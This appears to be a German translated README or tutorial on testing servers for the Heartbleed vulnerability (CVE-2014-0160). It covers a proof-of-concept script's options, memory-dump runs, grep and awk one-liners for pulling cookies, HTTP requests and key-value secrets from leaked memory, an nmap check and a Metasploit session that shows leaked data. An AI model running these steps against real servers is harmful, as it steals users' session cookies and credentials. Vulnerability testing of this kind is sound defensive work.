
Test für SSL-Heartbeat-Schwachstelle (CVE-2014-0160)
Hinweis Die meisten Tools (nmap, metasploit, nessus, sogar burp) haben die aktuellsten Versionen ihrer Scanner. Diese Tools wurden in den frühen Phasen veröffentlicht, als die Tools noch entwickelt wurden. Verwenden Sie lieber diese als die hier.
Verwendung: heartbleed-poc.py server [Optionen]
Test auf SSL-Herzblut-Schwachstelle (CVE-2014-0160)
Optionen: -h, --help Zeigt diese Hilfemeldung an und beendet das Programm. -p PORT, --port=PORT TCP-Port für den Test (Standard: 443) -n NUM, --num=NUM Anzahl der Herzschläge, die bei Verwundbarkeit gesendet werden (bestimmt, wie viel Speicher Sie zurückbekommen) (Standard: 1) -f DATEI, --file=DATEI Dateiname zum Schreiben des ausgelagerten Speichers (Standard: dump.bin) -q, --quiet Den Speicherauszug nicht anzeigen -s, --starttls STARTTLS prüfen (derzeit nur SMTP)
Normaler Scan, trifft Port 443 mit 1 Iteration: python heartbleed-poc.py example.com
Speicher-Dump-Scan, führt 100 Anfragen durch und gibt die Ausgabe in die Binärdatei dump.bin aus: python heartbleed-poc.py -n100 -f dump.bin example.com
Stellen Sie sicher, dass Sie verschiedene Teile des HEAP erhalten, indem Sie sicherstellen, dass der Server ausgelastet ist, sonst wiederholt sich der Inhalt.
Einen Mailserver mit STARTTLS prüfen (z. B. Port 25): python heartbleed-poc.py -s -p 25 example.com
Früher gab es einen -v Schalter, um die TLS-Version explizit anzugeben; dies wird jetzt automatisch erkannt und wurde entfernt.
Die Binärdatei enthält nützliche Ausgaben. Hier sind einige einfache Methoden, die Schätze zu finden:
HTTP-Anfrage: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookies: grep -a "^Cookie:" dump.bin
Interessante Schlüssel-Wert-Paare: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
Verwendung: nmap --script=ssl-heartbleed -p 443
Beispielausgabe:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes Der Zieladressbereich oder die CIDR-Kennung RPORT 443 yes Der Zielport STARTTLS None yes Protokoll für STARTTLS, None, um STARTTLS zu vermeiden (akzeptiert: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes Die Anzahl gleichzeitiger Threads TLSVERSION 1.0 yes TLS-Version (akzeptiert: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Versuche, SSL über FTP zu starten [] 37.187.134.197:21 - Sende Client Hello... [] 37.187.134.197:21 - Sende Heartbeat... [] 37.187.134.197:21 - Heartbeat-Antwort, prüfe, ob Daten auslaufen... [+] 37.187.134.197:21 - Heartbeat-Antwort mit Datenleck [] 37.187.134.197:21 - Ausgelaufene lesbare Informationen: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed